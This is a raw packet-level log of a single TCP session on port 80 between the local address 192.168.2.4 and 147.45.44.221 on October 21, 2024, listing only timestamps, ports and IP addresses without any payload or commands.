Oct 21, 2024 08:47:28.184214115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184220076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184248924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184263945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184282064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184288979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184314966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184329987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184346914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184359074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184380054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184391975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184410095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184428930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184442997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184465885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184475899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184490919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184509039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184516907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184545040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184556961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184578896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184592009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184612036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184626102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184640884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184659958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184675932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184683084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184712887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184729099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184746027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184760094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184779882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184791088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184813023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184827089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184847116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184859991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184881926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184895039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184926033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190635920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.190686941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190691948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.190741062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190742016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.190774918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.190793991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190814018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.190824032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190864086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.190871000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190913916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190917015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.190964937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.190968990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191004038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191016912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191032887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191051006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191077948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191082954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191119909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191145897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191152096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191164017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191193104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191203117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191235065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191252947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191281080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191286087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191315889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191332102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191349030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191365957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191382885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191411972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191443920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191451073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191484928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191498041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191518068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191529989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191551924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191571951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191580057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191591024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191613913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191623926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191651106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191660881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191683054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191698074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191715956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191728115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191755056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191766977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191792011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.191809893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.191837072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.229274988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.229306936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.229325056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.229393959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.274852037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.274883032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.274916887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.274936914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.275029898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.302468061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302520990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302544117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302561045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302576065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302613020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302645922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302679062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302706003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.302711010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302779913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302805901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.302836895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302844048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.302903891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302933931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.302939892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.302983999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303003073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303025961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303041935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303087950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303092003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303127050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303141117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303159952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303174019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303208113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303214073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303262949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303266048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303318024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303318977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303363085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303375959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303430080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303458929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303507090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303508043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303589106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303602934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303622007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303637981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303654909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303668022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303688049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303702116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303723097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303738117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303757906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303770065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303792953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303805113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303822994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303839922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303855896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303879023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303891897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303901911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303925037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303937912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303962946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.303971052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.303991079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.304013014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.304023027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.304043055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.304055929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.304074049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.304090023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.304102898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.304125071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.304136992 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.304158926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.304171085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.304193020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.304205894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.304235935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.309938908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.309967995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310003042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310007095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310015917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310038090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310048103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310070992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310103893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310132027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310149908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310185909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310218096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310231924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310252905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310262918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310287952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310302019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310326099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310334921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310355902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.310375929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.310401917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.321893930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322020054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322035074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322067976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322091103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322105885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322124004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322139978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322190046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322191954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322220087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322242022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322273016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322277069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322309017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322309017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322324038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322345018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322355986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322377920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322412014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322428942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322444916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322462082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322479963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322489023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322515011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322529078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322554111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.322561979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.322603941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.348817110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.348850012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.348884106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.348913908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.348973989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.394459009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.394491911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.394519091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.394526005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.394531965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.394583941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422118902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422158003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422174931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422195911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422225952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422251940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422266006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422316074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422343969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422348976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422353983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422420979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422467947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422488928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422519922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422533989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422564983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422571898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422615051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422621965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422656059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422665119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422684908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422705889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422733068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422738075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422770023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422777891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422802925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422811031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422849894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422854900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422889948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422897100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422924995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422930956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422955990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422971010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.422990084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.422996998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423022985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423029900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423058033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423063040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423091888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423101902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423126936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423136950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423160076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423172951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423194885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423202991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423228025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423238039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423264027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423271894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423296928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423305035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423331976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423342943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423365116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423373938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423409939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423439980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423476934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423489094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423511982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423516989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423546076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423559904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423579931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423600912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423614979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.423619986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.423656940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.429404020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429435968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.429471016 CEST	80	49732	147.45.44.221	192.168.2.4
